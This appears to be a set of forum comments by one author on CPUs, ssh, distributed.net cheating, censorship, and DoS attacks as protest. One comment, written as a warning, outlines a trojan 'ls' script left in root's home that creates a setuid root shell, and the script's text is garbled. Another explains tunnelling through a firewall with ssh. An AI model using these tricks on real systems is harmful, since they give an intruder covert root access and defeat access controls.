I've never been afraid of these "computers take over" plots. The one thing The Matrix almost got right was the "real" threat of our technology -- that the technological fantasy will one day become so much more appealing and compelling than "real life" that we would come to prefer it. The trouble is, I think this has already happened. The world of television, advertising, music viedos, and games is already preferred by many to the world of love, pain, boredom, and loss that real life is. Real life is long, dull, and ends in death. Fantasy life is short, flashy, and has reruns. Real life has love, which is half joy, and half pain; and having love means knowing loss. Fantasy life is pleasure without commitment, shallow gratification, and you can always play it back.
Try reading a little book called "The Continent of Lies" by (James?) Morrow. I think it gets to it...
Here's something you should never ask on /., but just how dumb am I?
Of the six machines on my home network, I have two Cyrix chips, three AMDs, and one genuine Intel (and that, believe it or not, is my amateur packet radio router running on a 386SX16! AMPR is like a 9600 baud ethernet without collision detection -- a 386SX is up to the job). One of the AMDs is an Athlon, and the Cyrix'es are a pre-MMX 6x86 "PR200" which, of course, runs at 150MHz, and an MII-333.
I knew the "PR" stuff was BS when I bought them. I bought them because they were cheap. Cheap, cheap, cheap. I'm not a big game player (Civilization is about all I play) and the first 6x86 ran fine for what, four years now? (God help you with Cyrix chips if your CPU fan dies, though!).
Here's my point: I researched the devices before I bought them. I knew how well they did integer operations, register operations, and floating-point (which I hardly ever use) operations compared with the Intels, and I knew what I would be using them for (mostly writing and compiling C/C++ code on Linux) and I knew how much they cost.
I haven't had a single problem or compatibility issue.
Is Cyrix so variable in quality that I had the only two that aren't lemons, or did a lot of people swallow a bunch of marketing BS and buy things they ought not to have bought given their intended use? I'm genuinely asking. I haven't had a single problem. Have I just been lucky?
Oh yeah, I don't have any MediaGX's despite how cheap they are because I do my homework and for a long time there were Xfree and other issues with that particular cheap chip. That's when I went back to AMD. (My other low end box is an AMD-486DX4 clone that I have running FreeBSD basically to serve up a couple of CDROM drives via NFS -- Another low end machine that remains adequate to its task. I put my "Webmaster in a Nutshell" and my "Java in a Nutshell" deluxe CD-ROMs in it and then use them wherever I am on my network, from desktops to my AMD laptop [sorry, 7 machines, 4 AMDs])
Huh, I say, Huh?!?
When you telnet to a specific port you are just connecting a socket to it and passing stdin to it and passing what comes out of it to stdout. If you had to write this from scratch it would be about 150 lines of C code (and many fewer lines of perl or Java code). You aren't "sacrificing telnet" to use ssh!
The rest of telnet is support for terminal emulation and some terminal capabilties negotiation at start up, all of which works only when talking to telnetd, and none of which comes into play when connecting to any other port (unless, of course, you're connecting to telnetd on another port).
A later poster complains that ssh is only useful for shell accounts. Absurd. You can do arbitrary port forwarding through ssh, turning ANY network service into an encrypted service. It is a VERY handy way to create a secure opening through a firewall:
Machine A is behind a firewall that forbids incoming connections.
Machine B is out on the internet.
You want to use a service on machine A from machine C (another machine out on the internet).
Machine A can make an outbound ssh connection to machine B and tell machine B to open port 3500 on B for listen and to "tunnel" it to port 80 on machine A.
Machine C can then type this URL into his browser:
http://[machine B's address]:3500/
This will connect to port 3500 on machine B (obviously), but less obvious is that machine B will forward all traffic encrypted over the SAME ssh socket Machine A has open to B. No one observing the traffic between A and B will know that machine C sent traffic to machine A, nor will they be able to tell that more than one "conversation" is taking place over the single link.
SSH is not sacrificing freedom, it is enabling freedom. No, I won't use SSH2 (which is a close commercial product), but I certainly will use SSH1 and OpenSSH.
SSH is a major tool for flexibility,
I've thought of dozens! Unfortunately, all of them are just as easily compromised as the original. It is a tough nut to crack. I've thought about an MD5 hash that includes the result and the client code memory image, but since a programmer can just write a routine that calculates an MD5 sum over his bogus data set and his real client image, it isn't much of a solution, is it?
The same problem seems to exist with networked games. How do you prevent cheating?
I'm not sure you can prevent cheating, but can't you at least use public key cryptography (specifically digital signatures) to definitively identify sources? You then double check a random packet that comes in with that signature. If it is good, you can be reasonably sure that everything that comes in signed with that key is good? (You don't want to validate a fixed packet, say, the first packet -- an attacker would send back a real first packet and then send fake ones). From then on you retest random packets from random users. If you retain the cryptographically verified identity of the origin of each result, you can quickly isolate all results from a source that shows up with false negatives in a random check.
If everyone participating knows that they will definitely be checked at least once for validity, and may be checked additional times at any time, then I think the incentive to cheat will be brought down several notches.
Sure, in this scheme someone can implement the public key crypto algorithm solely to leigitimately send fake data, but since they have to send you the public key and must sign each result set with the private key, you WILL be able to identify and remove the bogus source when you detect it.
I realize this is a lot more server side work! I also realize it may be impossible because of crypto export regulations (ding dang it!), but I still think a scheme along these lines could be implemented without too much difficulty.
This idea may be full of holes (I worked it out as I typed, so I haven't exactly "bench audited" it!), but I think the premise is sound. It doesn't prevent anything, but it is likely to detect abuse and any abuse can easily be isolated and removed...
Thoughts, criticisms, abusive epithets?
Since you say "we're required to obscure," I presume you are part of distributed.net. Please understand that I respectfully disagree with your policy. In other words, it's not the choice I'd make, but I don't consider you to be a bunch of blinkered philistine code despots either!
I simply do not think hiding the code prevents a thing and opening might prevent embarassing incidents like this one.
I *do* understand that opening the code makes it easier to generate "fake" data, and that it requires person-hours to undo such shenanigans. If you had more bogus data, it might overwhelm your ability to remove it and block the generators of it.
You might find, however, some creative remedies out in the world if you let your peers review it.
In any case, I did read the document you cite, I just disagree with it. That disagreement is tempered by respect for your point of view and your accomplishments. I certainly haven't built anything that matches the acheivements of distributed.net.
Good luck on the fix, and meanwhile, back to RC5-64!
Um, no it is NOT Open Source.
;-)
They release only parts of the code. They do not release the code for sending/recieiving buffers (the very part that was broken in this case). If you had *followed* the link to the source and read the FAQ you would know that.
But I guess it's easier to whine, eh?
This is so late that no one will read it, but I'll say it anyway:
/bin/sh /home/rpg/innocent /home/rpg/innocent /home/rpg/innocent /root/ls
This is something to prevent you from getting cracked. Suppose you have an employee with an account on your Unix system who is "respectable programmer guy" by day, but by night becomes: "cracker J!" He places a shell script called ls in your root account home directory that contains the following:
cp
chown root:root
chmod u+s
ls $*
rm
And viola! He has a shell he can run anytime to become root. You can even change your root password and it won't make any difference. He doesn't have to type a password to become root. He just types "innocent" and (like Emeril would say) BAM! He has a root privledged prompt.
This is why you should also periodically scan for new setuid programs appearing from nowhere on your systems, but that's a different lesson...
Once he has root on one of your systems, he has many more ways to compromise other systems on your network than he had before he got root permissions on this box.
Don't make the mistake of thinking that this is just an "after the fact" rule!
I still participate in distributed.net efforts using many boxes. I have them up all the time anyways. I consider it increased productivity to let someone do something marginally useful with my idle clocks.
That said, if they would release the source for their clients they would find these problems sooner (I suspect) and there would be less wasted time and resources...
GPL the client!
There is no size requirement for a "downtown." The term comes from the street numbers, which are smallest in the center of a town. Even very small towns have downtowns. I've been in towns with populations of less than 100 that have very distinct downtowns.
This is just about the best post on this subject that I have seen anywhere. I admire the balance brought to bear here: While "fundamentalists" are labeled as the advocates of censorship, the author does not automatically extend this to "Christians" or to "religious people."
The fact that screening software blocked out certain group's anti-homosexual content was illuminating. Censorship is the dog that turns on its master. You cannot use this weapon without turning it on yourself. If we were all more worried about our own development as moral beings and less worried about what others might be doing, we would make greater progress as a moral society.
Personally, I come down firmly on both sides of this issue. I do not believe that it is necessary to believe in a religion to act morally.
Kierkegaard, who was Christian, set himself the problem of defining morality in the absence of religion. He essentially came up with a grandiose version of the Golden Rule. He said that by commiting an act, you in essence sanction that act. You say it is okay for everyone to act that way. If you act in a way that is socially harmful, that harm will will eventually come to you from another. The awareness of this fact should cause one to act morally because ultimately, this leads others to act morally.
This replacement of ethic by action is one of the foundations of existential thought.
I happen to think this way of thinking is entirely sufficient for a system of morals.
The problem is, sometimes the harm caused by the moral sanction of an act (say, buying cheap clothes that are cheap because they were made by practically slave labor) is hard to see. Sometimes people are too self absorbed to see that their actions are harmful (how does me cheating on this test harm anyone else?) to the community.
It is much more simple to take the "You go to hell! You go to hell and you die!" system to coerce moral action.
Now, that said, I hardly think that religion, in and of itself, necessarily arrests moral development. From Aquinas to Kierkegaard, from Thomas More to Thomas a Becket, from Mohandas Ghandi to Martin Luther King, people of faith have wrestled with questions of morality and society with great depth, sophistication, and insight.
Sure, some "religious" people use their "you go to hell and you die!" black and white world view to render the moral universe into a "two year-old" mentality, but this is not because of religion. This is becuase they, themselves, happen to have a two year-old mentality.
Non-religous persons are equally capable of oversimplifying moral questions.
That's why I loved "What Would Brian Boitano Do?" as a parody of the oversimplistic "What Would Jesus Do?" school of moral philosophy.
Although I don't see even that as inherently dangerous. If WWJD causes some people to reflect on the consequences of their actions before they act, it probably does improve moral conduct. The problem I have is the imprimateur one might think this gives their actions. "I thought about it, and this is what Jesus would do, therefore what I am doing is as righteous as Christ himself!" I don't think human agency should ever presume such knowledge.
Actually, here's one more thought to throw your way. What if people in Germany had risen up and decried the Nazi philosophy and fought it, openly and publicly, before the consolidation of the power of the Chancellor following the infamous Reichstag fire? Would partisan action have been necessary?
I don't remember whom I am quoting here, so if one of you knows, please give appropriate credit: "The only thing necessary for evil to triumph is for good men to do nothing."
Now wait a minute, we are not talking about resisting tyranny in a police state, we are talking about civil disobedience which is, in essence, a propoganda tool designed to raise public awareness in a democracy, or, in a more repressive political climate, to incite a majority to action.
Partisan action against a violent repressive government is not "civil disobedience," it is guerilla warefare or an "underground."
Perhaps we were not in agreement about terms here. Resistance to Hitler's regime, from providing information to the Allies to slashings tires on government vehicles would not be, to me, acts of civil disobedience. And I absolutely agree with you that such acts are honorable in such a context. But the United States is NOT, no matter how upset you may legitimately be with it, in no way comparable to Europe under Nazi occupation.
I said it in my earlier post, but I'm going to say it again here (so, yes, mark me redundant if you must): Certainly a DoS attack can be a legitimate form of civil diobedience, but if you are going to do it as such, have the courage of your convictions and launch the attack directly from your own machines on your own network, using your real IP address. Then its civil disobedience.
My attitude towards Greenpeace protests would be quite a bit different if they went down to local nursing home, yanked old people out of their beds (they're easier to handle than say, rading a gymnasium), and chained them to the gates of a nuclear power plant.
When you sneak through other people's accounts, machines, and networks to both hide your identity and launch your attack, then you are effectively chaining up the elderly (metaphorically speaking, of course). For an act of civil disobedience to be an honourable act, one must openly reveal one's identity and run the risk of arrest and imprisionment. I'm not impressed if someone comes up to me and says "I told my girldfriend to chain herself to the gate. I stayed home. I had the sniffles."
Civil disobedience by proxy is the act of a coward. A sniveling little spineless coward.
My account info has my real name and my real primary e-mail address. I stand up for what I say. I don't lay booby-traps or hide behind other people.
Well, Arthur, I don't actually care if they are 47 years old. They behave like children, they should expect to be treated like children. Filling a pipe with packets or sending malformed TCP handshakes is hardly a technical breakthrough.
I'd like to hear more about this story that it was a router failure, rather than an attack -- I saw one post that mentioned, is there any authority that can weigh in? The only thing less useful than bashing net children is bashing non-existent net children...
...has to pay more attention to security. While I am sure there are quite a few people willing to cooperate in launching a DoS attack (and, BTW, who cares if it is typed DoS or DOS?), I'm equally sure the primary method is to launch the attack from the cover of a number of compromised systems. A DoS attack can be done with any compromised account, too. It doesn't require a "root" compromise if all you are doing is flooding a router or set of routers from multiple different networks. You only need a root compromise to do "cool" stuff with forged headers and illogical option bits (like SYN-FIN). If you are launching your attack from compromised accounts that you logged into from other compromised accounts, you don't care about forging headers. Your identity is already hidden by other means. What do you care if some suits come knocking on the door of the owner of the compromised host? You aren't there.
This means that we all have to take security seriously. That password matters. Don't share it. If you have resources, use two part authentication. Take reasonable precautions. Audit your setuid programs. Don't put "." in your path. Don't have world-writable files. If you can't afford commercial 2-part auth solutions, at least use ssh instead of telnet. Etc., etc., etc.
We can't afford to have security be the province of experts and miscreants. Responsible netizenship demands that we take security seriously, at least to enough of an extent that we can be confident our own systems aren't being used by others to attack systems.
Some people believe that cracking systems or launching DoS attacks are a legitimate form of civil disobedience. I actually agree with that. But you are only engaging in legitimate civil disobience if you are doing it on your own equipment and not concealing your identity. Protesters go somewhere openly and risk arrest. Vandals sneak around in the dark wearking ski masks and painting slogans. One is a principled stand and the other is a cowardly crime. Furthermore, when you use someone else's computer in your act of civil disobedience, it would be like the act of, when the police wade into your protest with their truncheons flailing, grabbing the nearest non-participant and using them as a shield. Cowardly.
So, as always shy with my opinions, that's what I think the giant DoS means.
Anyone know if this was mere mischeif or if there was a motive for this incident, BTW?
Jon:
I'm leaping in late, so I will probably get lost in the fray, but here goes:
I love the Katz postings and I really don't much like Katz. I love the postings because some very good and elightened discussions follow your blatantly slanted and singleminded posts. In other words, when you read between the flames that follow any Katz posting you see some of the best of what Slashdot has to offer.
None of this has anything to do with my question. My question is this:
Do you see any danger in two tendencies I see in your postings about youth alienation? Tendency 1: You tend to assume that all alienated young people fall into one category: geek, and that that category is uniquely characterized by intelligence, computer use, and gaming culture. Tendency 2: You tend to elevate, dare I say, normal adolescent angst into a cause decrying the whole of the adult world.
I think you oversimplify. There are alienated kids who do not obviously belong to a marketing demographic. There are geeks who are not alienated. You seem to have a tendency to absolve the young and alienated from any resposibility for their status or their actions. How would you defend what you do against these assertions?
If I'm a karma whore, Katz is my pimp!